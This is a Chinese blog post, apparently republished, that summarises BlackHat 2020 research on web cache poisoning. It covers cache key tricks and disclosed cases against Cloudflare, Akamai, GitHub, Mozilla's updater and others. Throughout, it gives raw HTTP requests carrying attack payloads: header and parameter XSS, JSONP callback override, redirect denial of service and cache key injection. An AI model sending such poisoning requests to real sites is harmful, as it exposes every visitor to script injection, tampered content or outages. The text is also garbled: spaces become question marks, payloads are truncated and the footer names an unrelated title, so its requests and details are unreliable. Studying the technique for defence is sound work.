周末閑著沒事就來學習下新的思路,文章很長，花了一天時間才碼出來，所以，你懂我意思吧?

對了，周末打算出去走走，所以就不更文了

本文將會介紹Web緩存投毒的各種騷姿勢以及利用鏈，并會搭配相應案例進行講解，看完你一定會有收獲的。Have Fun!

Web緩存投毒基礎

Web緩存大家應該都有所了解吧，這是一種典型的用空間換時間的技術。而Web緩存一般分為兩種

• 瀏覽器緩存
• Web服務器端緩存

兩者原理都是差不多的，只不過緩存的位置不一樣，一個是把請求過的資源暫且放在瀏覽器

這樣當用戶下一次訪問相同資源的時候，就不需要再訪問Web服務器了，甚至連網絡請求都不用發送出去就可以得到對應的資源

而另一個則是把請求過的資源暫且放在一個專門的緩存服務器上，例如CDN,這樣，當下一個用戶訪問同樣的資源時就可以直接從緩存服務器上拿到響應，從而減輕Web服務器的壓力

本文所探討的緩存投毒都是針對服務器端的緩存，瀏覽器緩存投毒暫不討論...

不知道大家讀完上面的內容是不是有這么一個疑問：

服務器怎么確定兩個用戶訪問的是同一個資源呢？

誒，這個時候就要提到cache key了，這個cache key是用來標識每個請求的，如果兩個請求的cache key相同，那么服務端就認為他們是同一個請求，如果此時緩存服務器上已經有該cache key指定的請求對應的資源文件了，就直接從緩存服務器返回一個響應給用戶，如果緩存服務器上還沒有該資源則把這個請求轉發到Web服務器，讓Web服務器響應該請求

那么有人又要問了：

那cache key是根據什么規則生成的呢？

其實很簡單，就是提取http請求中的某些元素組成一個cache key，一般情況下cache key是由請求方法、路徑、query、host頭組成。例如下面這樣一個http請求

它的cache key就可以為https|GET|portswigger.net|/research?x=1,注意我這里的用詞，是“可以為”，也就是說cache key的生成規則不是固定的，不同的網站、應用的cache key生成規則是不一樣的，這個是可以自定義的

http請求中沒有被用作cache key的部分我們稱其為“unkeyed”元素，如果一個unkeyed的元素可以被用來生成一個危險的響應，那么我們就可以利用這個元素來進行緩存投毒，并影響其它用戶。

文字闡述可能不是太好理解，那么我舉一個?,現在有如下場景

可以看到，響應中將請求頭X-Forwarded-Host的值直接拼接到meta標簽的content屬性中了，這是很明顯的一處反射型xss

由于輸入點是在請求頭中，所以利用難度稍微有一點點大

但是，只要我們配合上緩存投毒，這個漏洞一下子變得??起來，由于X-Forwarded-Host這個頭不是cache key的一部分，所以，以下兩個請求被認為是一致的

GET?/en?dontpoisoneveryone=1?HTTP/1.1
Host:?www.redhat.com
X-Forwarded-Host:?a.">

vs

GET?/en?cb=1?HTTP/1.1
Host:?www.redhat.com

如果我們先發送第一個請求到服務器，服務器就會返回如下響應,并緩存到緩存服務器中

HTTP/1.1?200?OK
Cache-Control:?public,?no-cache
…
"og:image"?content="https://a.">"/>?

很明顯，這是一個存在xss的惡意響應

當其他用戶下一次正常訪問/en?cb=1頁面時，會發送上述第二個請求，由于兩個請求的cache key一致，服務器認為他們請求的同一個資源，所以就會把之前我們投毒的惡意緩存返回給用戶，從而造成用戶被xss

投毒流程大體如下

之前的一些研究

其實在2018年James Kettle就已經針對Web緩存投毒進行過研究了，并發布了一篇paper

https://portswigger.net/research/practical-web-cache-poisoning

這篇paper中主要研究的是利用非標準的http請求頭來給緩存投毒，例如X-Forwarded-Host和 X-Original-URL,當然，這也是比較簡單直接的一種投毒方法

但是，本文的內容則不太一樣了，本文的研究對象是那些以往經常出現在cache key中的元素，例如host頭、path或者query。

當然，如果這些元素是直接放到cache key中作為cache key的一部分的話是不可能被投毒的

但是，我們發現這些元素在放入cache key之前總會被解析、轉換或者規范化，正是這些前置操作導致了我們可以利用它們

那么，要怎么利用呢？我們接著往下看

利用方法

Web緩存投毒從挖掘到利用可以歸結為下面這張圖片

我來大概解釋一下這張圖：

理解cache的工作機制

首先咱們得找到一處可以利用的緩存頁面，那怎樣才算是一處可以利用的緩存點呢？需要滿足以下幾點

• 該頁面會被緩存
• 我們能夠明確知道我們的請求是否命中了緩存(在響應頭中可能會有提示)
• URL回顯到響應中或者參數回顯到了響應中

只有url或者參數被回顯到了響應中我們才可以進行投毒，而且這些回顯也可以幫助我們探索cache與web服務器在處理請求上的差異(現在不懂什么意思不要糾結，看完就懂了，接著往下吧)

在最幸運的情況下，服務器會直接告訴我們cache key，這樣就省得我們自己探索了，當然，也可能返回給你多個cache key，不要慌張，這些cache key可能適用不同的場景，我們只要找到當前場景下正確的cache key就行

GET?/?param=1?HTTP/1.1
Host:?example.com
Origin:?zxcv
Pragma:?akamai-x-get-cache-key,?akamai-x-get-true-cache-key

HTTP/1.1?200?OK
X-Cache-Key:?/example.com/index.loggedout.html?akamai-transform=9?cid=__Origin=zxcv
X-Cache-Key-Extended-Internal-Use-Only:?/example.com/index.loggedout.html?akamai-transform=9?vcd=1234?cid=__Origin=zxcv
X-True-Cache-Key:?/example.com/index.loggedout.html?vcd=1234?cid=__Origin=zxcv

然后，我們還得進一步搞清楚cache key是根據什么規則形成的，在形成過程中是否有如下情況

• 轉換
• 規范化
• 轉義
• 解析

例如去掉特定的參數、去掉請求的所有參數、去掉host頭中的端口、url解碼等等，在進行完這些操作過后，再把他們放入cache key,這種行為是很危險的

那么要怎么搞清楚服務器是否進行了上述的轉換呢？其實很簡單，只要發送兩個稍微不同的請求并觀察第二個是否命中緩存就可以知道

為了便于理解，我們來看一個例子，現在有如下請求，該網站會把host頭的內容作為location頭的一部分進行跳轉

GET?/?HTTP/1.1
Host:?redacted.com

HTTP/1.1?301?Moved?Permanently
Location:?https://redacted.com/en
CF-Cache-Status:?MISS

例如，我們要探測目標站點在形成cache key的過程中有沒有去掉host頭中的端口號，那么我們首先發送如下請求

然后再發送一個host頭中沒有端口號的請求，并觀察它是否命中緩存

如果命中了緩存，這說明網站在生成cache key的過程中的確移除了host頭中的port

在這個場景下，我們就可以向緩存投毒，讓所有用戶都跳轉到一個未開放的端口，從而造成Dos攻擊

這個漏洞存在于很多CDN廠商上，包括Cloudflare和Fastly,我通知了他們，但是Cloudflare拒絕修復...

注：通常情況下，上面的信息我們可以利用cachekey泄露、 源碼、文檔等方式獲得

利用

利用就沒什么好說的了，就是結合其他漏洞或者利用鏈，一般有三種利用方法

• 增加反射型漏洞的危害(例如：反射型xss)，讓每個用戶都被威脅
• 利用js、css等動態文件
• 利用一些之前不可能被利用的漏洞(瀏覽器不會發送的一些惡意請求，我們現在可以讓緩存服務器幫我們發送)

我知道，后面兩種利用場景可能比較難理解，大家也不必急于理解，因為后面會有相應的案例

案例學習

上面說了那么多，可能大家都還處在比較懵的狀態，對于某些點不是特別清楚，所以現在咱們來看一些真實的案例，這些案例都是我在各大src中挖到的

Unkeyed Query 探測

在形成cache key的過程中，最常見的轉換就是去掉整個query字符串，也就是/axin/handsome.html?true=1這個鏈接指向的資源，在形成cache key的過程中會去掉?true=1。

這種情況下，是比較難發覺目標站點使用了緩存的，你可能會直接認為他是一個靜態站點...

對于動態的站點，我們一般可以通過改變參數值的方式來識別，因為動態站點在我們改變某個參數的時候與之對應的響應也會改變，例如：

GET?/?q=axin?HTTP/1.1
Host:?example.com

HTTP/1.1?200?OK
"canonical"?href="https://example.com/?q=axin"

但是，當站點在形成cache key的過程中移除掉整個query字符串的情況下，我們就不能夠再使用這種方式識別動態站點了，因為你再怎么更改參數甚至是添加一個參數都會得到相同的響應，你不由得會開始思考人生?,就像下面這樣

GET?/?q=canary&cachebuster=1234?HTTP/1.1
Host:?example.com

HTTP/1.1?200?OK
CF-Cache-Status:?HIT

"canonical"?href="https://example.com/

除非這個響應中很明顯的告訴你它來自緩存，就像上面這個響應一樣，響應頭中有CF-Cache-Status: HIT,否則你真就可能認為它是一個靜態頁面了，從而錯過一個漏洞。

這種情況對掃描器極不友好，因為掃描器只是重復的發送payload,所以，他們每次都會命中緩存，每次都會拿到相同的響應

那么，要怎么打破這種尷尬的局面呢？

那當然是想辦法讓我們的請求不命中緩存呀，所以我們可以從被包含到cache key的請求頭下手，只要我們讓被包含到cache key的請求頭不一樣，那么就不會命中緩存了，我們也就可以判斷出頁面是否是靜態頁面以及query字符串被用在了什么地方，例如用如下請求頭

GET?/?q=canary&cachebust=nwf4ws?HTTP/1.1
Host:?example.com
Accept-Encoding:?gzip,?deflate,?nwf4ws
Accept:?*/*,?text/nwf4ws
Cookie:?nwf4ws=1
Origin:?https://nwf4ws.example.com

這個方法在某些系統上效果拔群，例如Coludflare,它默認把origin這個頭當做cache key的一部分。

但是，這個方法在另外一些系統上就不那么ok了，這些系統上沒有使用origin頭作為cache key的一部分，且我使用的這個頭可能會對系統造成破壞...

幸運的是，我們還有其他辦法挽救，在某些系統上，我們可以使用http方法PURGE和FASTLYPURGE來清除緩存，這在真實環境下是個很好的技巧(投毒搞出大問題還可以一鍵重置，就問你香不香)

除此之外，我們都知道，大多數的系統都會把path作為cache key的一部分，又因為后端系統存在path規范化，這就導致不同的cache key也可以命中同樣的資源，例如針對/目錄，在不同系統上有不同的命中方法

Apache:?//
Nginx:?/%2F
PHP:?/index.php/xyz
.NET:?/(A(xyz))/

所以，利用這一特性，在真實環境中，為了不影響其他用戶，我們可以在確定漏洞存在的同時只對自己投毒

例如，我想//axin/handsome.html頁面投毒，可以證明/axin/handsome.html存在漏洞，但是又不影響其他用戶，因為正常用戶一般不會請求//axin/handsome.html

Unkeyed Query利用

如果你學會了上面的方法，你就會發現更多的漏洞，例如我在一個新聞網站發現的一處反射型xss緩存投毒

Cache?Key:?https://redacted-newspaper.net//

原本像緩存投毒這種漏洞都是很容易就被別人提交了的，但是，由于目標系統去除掉了整個query字符串，這會迷惑大多數白帽子，讓他們以為這是一個靜態頁面。

由于query字符串沒有被包含到cache key中，所以，當用戶請求如下頁面時會返回被我們投毒后的頁面，從而觸發xss

GET?//?HTTP/1.1
Host:?redacted-newspaper.net

HTTP/1.1?200?OK
...
"og:url"?content="//redacted-newspaper.net//?x">"/>Cache?Key:?https://redacted-newspaper.net//

上面用了兩個/是為了在測試時不影響正常用戶

重定向Dos

如果一個站點沒有很好利用的xss,我們該咋辦呢？

由于我個人比較喜歡向緩存服務提供商投毒，所以，我就拿www.cloudflare.com舉個例子

Cloudflare的登錄頁面在dash.cloudflare.com/login，但是很多鏈接在跳轉該頁面時都使用的是/login/,注意最后多了一個/，這個斜杠很關鍵

經過一番探索，我發現目標把query字符串從cache key中去除掉了

GET?/login?x=abc?HTTP/1.1
Host:?www.cloudflare.com
Origin:?https://dontpoisoneveryone/

HTTP/1.1?301?Moved?Permanently
Location:?/login/?x=abc
GET?/login?HTTP/1.1
Host:?www.cloudflare.com
Origin:?https://dontpoisoneveryone/

HTTP/1.1?301?Moved?Permanently
Location:?/login/?x=abc

一眼看上去，好像這里沒啥可以利用的點，但是

我們可以用一點小技巧，把這個請求變為一個Dos攻擊，方法很簡單，只要我們把query字符串變得更長，直接達到url允許的最大長度：

GET?/login?x=very-long-string...?HTTP/1.1
Host:?www.cloudflare.com
Origin:?https://dontpoisoneveryone/

這樣，當下一個用戶訪問這個登錄頁面時，就會被重定向到我們投毒的地址去

GET?/login?HTTP/1.1
Host:?www.cloudflare.com
Origin:?https://dontpoisoneveryone/

HTTP/1.1?301?Moved?Permanently
Location:?/login/?x=very-long-string...

由于我們投毒的query字符串已經達到了url的最大長度，而這次重定向會多一個/，這就導致超出了url允許的最大長度，結果就是服務器不會接受這樣一個請求

GET?/login/?x=very-long-string...?HTTP/1.1
Host:?www.cloudflare.com
Origin:?https://dontpoisoneveryone/

HTTP/1.1?414?Request-URI?Too?Large
CF-Cache-Status:?MISS

當我把這個問題提交給Cloudflare時，一開始他們只打算在自己的站點上修復這個問題，但是考慮到使用他們產品的用戶太多了，所以，他們采用了全局的防御措施——他們禁用了那些直接將query字符串回顯到location頭的緩存

可是，這很容易就被繞過了...

GET?/login?x=%6cong-string…?HTTP/1.1
Host:?www.cloudflare.com

HTTP/1.1?301?Moved?Permanently
Location:?/login/?x=long-string…
CF-Cache-Status:?HIT

雖然這個問題已經被修復，但是如果你發現其他服務器在把一個query字符串放到location頭中前進行了一些其他的轉換操作，你仍然有機會繞過防御

緩存參數隱藏

目前為止，我們看到的都是把整個query字符串從cache key去除會造成漏洞。那么如果一個站點只是把某個特定的參數從cache key中去除掉會帶來什么后果呢？

理論上，只要一個站點不把整個url回顯到響應中就不會有啥問題。但是，在實操的時候，由于站點采用的各種奇奇怪怪的把特定參數從cache key中去除的方法，導致，我們可以方法來污染緩存，我把這種攻擊叫做cache parameter cloaking。

例如有這樣一個站點，它采用如下正則把參數_從cache key中移除：

set?req.http.hash_url?=?regsuball(
???????????req.http.hash_url,
???????????"\?_=[^&]+&",
???????????"?");

然后我們有這樣一個請求：

GET?/search?q=help?!&search=1?HTTP/1.1
Host:?example.com

在這種情況下，我們就可以在不改變cache key的情況下污染參數q

GET?/search?q=help?_=payload&!&search=1?HTTP/1.1
Host:?example.com

由于正則會把字符串替換為一個?，所以，我們只能向帶有問號的參數投毒。其他類似這樣的場景還有很多，這些替換規則會給漏洞利用帶來很多的限制

Akamai的一個案例

Akamai站點上有這樣一個請求

不知道你有沒有注意到這個請求的響應中返回了cache key?而且這個cache key中居然沒有參數akamai-transform

很明顯，Akamai的cache key是不包含akamai-transform參數的，也就是說我們可以向它投毒，而且，由于Akamai那脆弱的URL解析規則，我們可以向任何參數投毒，例如向參數x投毒

GET?/en?x=1?akamai-transform=payload-goes-here?HTTP/1.1
Host:?redacted.com

HTTP/1.1?200?OK
X-True-Cache-Key:?/L/redacted.akadns.net/en?x=1?vcd=1234?cid=__

Ruby on Rails案例

在測試某一個目標時，我通過掃描器發現了一個奇怪的現象，但是，我又沒有找到可利用的緩存點，于是我看了一下目標站點的緩存實現源代碼。

而且，后面我發現這個站點是基于Ruby on Rails的，并且Ruby on Rails會把;當做參數分隔符，類似于&,也就是說下面兩個鏈接是等價的

/?param1=test&param2=foo
/?param1=test;param2=foo

這一個把參數utm_content排除在cahche key之外的系統上，對于下面這樣一個請求，只會看到一個參數，那就是callback：

GET?/jsonp?callback=legit&utm_content=x;callback=alert(1)//?HTTP/1.1
Host:?example.com

HTTP/1.1?200?OK
alert(1)//(some-data)
GET?/jsonp?callback=legit?HTTP/1.1
Host:?example.com

HTTP/1.1?200?OK
X-Cache:?HIT
alert(1)//(some-data)

但是，Rails卻看到的是三個參數：callback, utm_content, and callback,由于有兩個callback,所以，后一個callback參數的值會覆蓋前一個

Unkeyed的方法

有一些系統沒有把http請求的方法作為cache key的一部分，這時候我們還可以使用post方法來對cache key隱藏參數，當然，這要求那個接口既支持get方法也支持post方法，并且會把參數回顯到響應中

POST?/view/o2o/shop?HTTP/1.1
Host:?alijk.m.taobao.com

_wvUserWkWebView=a'alert%26lpar;1%26rpar;'/data-
HTTP/1.1?200?OK
…"_wvUseWKWebView":"a},GET?/view/o2o/shop?HTTP/1.1
Host:?alijk.m.taobao.com

HTTP/1.1?200?OK
…
"_wvUseWKWebView":"a},

如果你想看更多關于這個的案例，可以移步到：

https://enumerated.wordpress.com/2020/08/05/the-case-of-the-missing-cache-keys/

Fat GET

這是我偶然間在Varnish的release notes中發現的一種手法，release notes如下：

Whenever a request has a body, it will get sent to the backend for a cache miss… …the builtin.vcl removes the body for GET requests because it is questionable if GET with a body is valid anyway (but some applications use it)

如果某個站點使用了Varnish作為緩存并且沒有安裝builtin.vcl，且這個站點使用的框架支持get請求中帶有body(我將其稱之為fat get)，那么他就很容易收到攻擊

Github就是這樣的一個站點，我可以利用Fat get污染所有可緩存的頁面，并把參數的值改為我希望的值，例如我可以通過發送如下請求污染舉報頁面

GET?/contact/report-abuse?report=albinowax?HTTP/1.1
Host:?github.com
Content-Type:?application/x-www-form-urlencoded
Content-Length:?22

report=innocent-victim

這樣一來，下一次舉報albinowax這個用戶時都會變為舉報innocent-victim,刺激不刺激？

對了，這個漏洞GIthub給了10000刀，實名羨慕

Gadgets

從上面的案例我們可以看到，緩存投毒需要結合其他的gadgets才能發揮最大的威力。我們之前已經列舉了反射型xss、重定向、登錄csrf、jsonp等案例，那么還有其他gadgets嗎？

JS、CSS文件在大多數情況下都是靜態的，但是也有把query字符串作為文件內容的一部分的情況。但是，他們的危害通常很小，畢竟當我們直接使用瀏覽器訪問這些文件的時候，瀏覽器是不會執行他們的

但是，他們可以作為緩存投毒的一個不錯的目標。

如果，我們可以向這些文件中投毒，那么所有導入了他們的頁面就都可以被我們所控制，無論是否跨域。

例如在新版本的css中，支持這樣操作

GET?/style.css?x=a);@import...?HTTP/1.1

HTTP/1.1?200?OK

@import?url(/site/home/index-part1.8a6715a2.css?x=a);@import...

在這個例子中query字符串不是cache key的一部分，所以我們可以對x參數進行投毒

如果一個頁面引入了一個沒有doctype聲明的頁css文件，這個文件甚至都不需要text/css這個content-type,瀏覽器會自動解析整個文件，直到遇到有效的css語法，然后執行css。

這意味著你可以通過觸發服務端錯誤來向一個回顯url的css文件投毒，如下：

Cache Key規范化

一個簡單的url規范化對于cache key來說都可能是危險的。為了說明問題，我們來看一個通過緩存投毒來關閉firefox更新的案例

firefox會隔三差五發送如下請求檢查更新：

GET?/?product=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1?HTTP/1.1
Host:?download.mozilla.org

HTTP/1.1?301?Found
Location:?https://download-installer.cdn.mozilla.net/pub/..firefox-73.mar

他的緩存規則大概如下：

server?{
????proxy_cache_key?$http_x_forwarded_proto$proxy_host$uri$is_args$args;
????location?/?{
????????proxy_pass?http://upstream_bouncer;
????}
}

這個規則設置的看起來沒啥問題，但是如果你仔細讀一讀nginx關于proxy_pass的文檔

https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

你就會發現一個問題：

If proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed

其中提到nginx會原模原樣的把請求轉發到后端，不會進行任何規范化處理，但是存儲到cache key中的請求元素可能被規范化處理。

最常見的規范化就是對存儲到cache key中的元素進行urldecode

所以，如果你把?編碼過后發送如下請求,將會造成一個錯誤的重定向

GET?/%3fproduct=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1?HTTP/1.1
Host:?download.mozilla.org

HTTP/1.1?301?Found
Location:?https://www.mozilla.org/

但是，由于nginx的urldecode，上面這個請求的cache key與下面這個檢查更新請求的cache key是一樣的

GET?/?product=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1?HTTP/1.1
Host:?download.mozilla.org

HTTP/1.1?301?Found
Location:?https://www.mozilla.org/

這樣一來，firefox的更新檢查就被禁用了！

Cache神奇的技巧

我們已經看了很多利用方法了，但是還不夠，cache投毒還有其他有意思的操作，例如激活某些曾經無論如何也不可能觸發的click here to get pwned類型的漏洞

編碼-XSS

你也許遇到過下面這種xss,在burp repeater中，這看似就是一個xss:

GET?/?x="/>
Host:?example.com
HTTP/1.1?200?OK
.../?x="/>

但是當你在瀏覽器中復現時，卻發現怎么也復現不了(當然，除了IE),這是因為瀏覽器都會對特殊的字符進行url編碼，并且，服務端不會解碼他們

上面的請求，在瀏覽器中變成了這樣：

GET?/?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E?HTTP/1.1
Host:?example.com

HTTP/1.1?200?OK
...
"/?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

這個問題曾經只發生在path中的xss,但是如今的瀏覽器也開始對query中的字符串進行編碼了！

幸運的是，因為有cache-key規范化的存在，這兩個請求的cache key是一致的，所以，我們只要在burp中先發送一遍第一個請求，然后再引導用戶訪問第二個請求就可以完成攻擊?

GET?/?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E?HTTP/1.1
Host:?example.com

HTTP/1.1?200?OK
X-Cache:?HIT
...
"/?x="/>

Cache key注入

另外一個不可能被利用的場景是那些會影響cache key的漏洞，這種在正常情況下，我們是無法投毒的，例如，下面這個Origin頭xss:

GET?/?x=2?HTTP/1.1
Origin:?'-alert(1)-'

HTTP/1.1?200?OK
X-True-Cache-Key:?/D/000/example.com/?cid=x=2__Origin='-alert(1)-'

這個點確實很難利用，但是如果像Akamai這樣不轉義分隔符直接將所有的cache key元素拼接成一個字符串的情況呢？

我們可以構造兩個擁有相同cache key的不同請求，如下：

GET?/?x=2?HTTP/1.1
Origin:?'-alert(1)-'__

HTTP/1.1?200?OK
X-True-Cache-Key:?/D/000/example.com/?cid=x=2__Origin='-alert(1)-'__
GET?/?x=2__Origin='-alert(1)-'?HTTP/1.1

HTTP/1.1?200?OK
X-True-Cache-Key:?/D/000/example.com/?cid=x=2__Origin='-alert(1)-'__
X-Cache:?TCP_HIT
????

我們先發送第一個請求，然后引導我們的目標訪問第二個url,這樣就完成了漏洞利用！

當然Akamai已經修復了這個漏洞，但是如果你發現同樣的策略適用于host頭，那么你就可以完全控制使用該cdn的所有站點

Cloudflare中的cache key注入

輕松搞定了Akamai,我決定試試cloudflare。但是它不想akamai那樣在響應頭中告訴你cache key,所以我們需要去翻一翻文檔，然后我發現默認的cache key組成是這樣的：

${header:origin}::${scheme}://${host_header}${uri}

這意味著下面兩個請求擁有相同的cache key:

GET?/foo.jpg?bar=x?HTTP/1.1
Host:?example.com
Origin:?http://evil.com::http://example.com/foo.jpg?bar=x
GET?/foo.jpg?bar=argh::http://example.com/foo.jpg?bar=x?HTTP/1.1
Host:?example.com
Origin:?http://evil.com

但是，我試了一下，發現這兩個請求并不一致，于是我發郵件讓cloudflare糾正他們的文檔，然后我向他們的安全團隊解釋了這個安全問題，他們承認確實存在這個問題，但是他們不愿意告訴我具體的細節...不過我還是拿到了一件t-shirt。???

相對路徑重寫

這部分我不太熟悉，就不寫了，具體可以到原文，原文鏈接我會貼在文末

應用內部緩存投毒

在我挖掘Adobe博客上的緩存投毒漏洞時，我發送了這樣一個請求

然后我的Burp Collaborator server上收到了大量來自他們站點的請求

后來我才知道他們用的是一個叫做WP Rocket Cache的應用級的cache，應用層的緩存通常單獨緩存響應并且沒有cache key的概念，所以，我發送的這個請求實際上污染了這個站點的所有請求，把他們都導向了我的域名

GET?/?HTTP/1.1
Host:?theblog.adobe.com

HTTP/1.1?200?OK
X-Cache:?HIT?-?WP?Rocket?Cache
...

總結

以上是生活随笔為你收集整理的stm32 web get 参数_BlackHat2020议题之Web缓存投毒的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。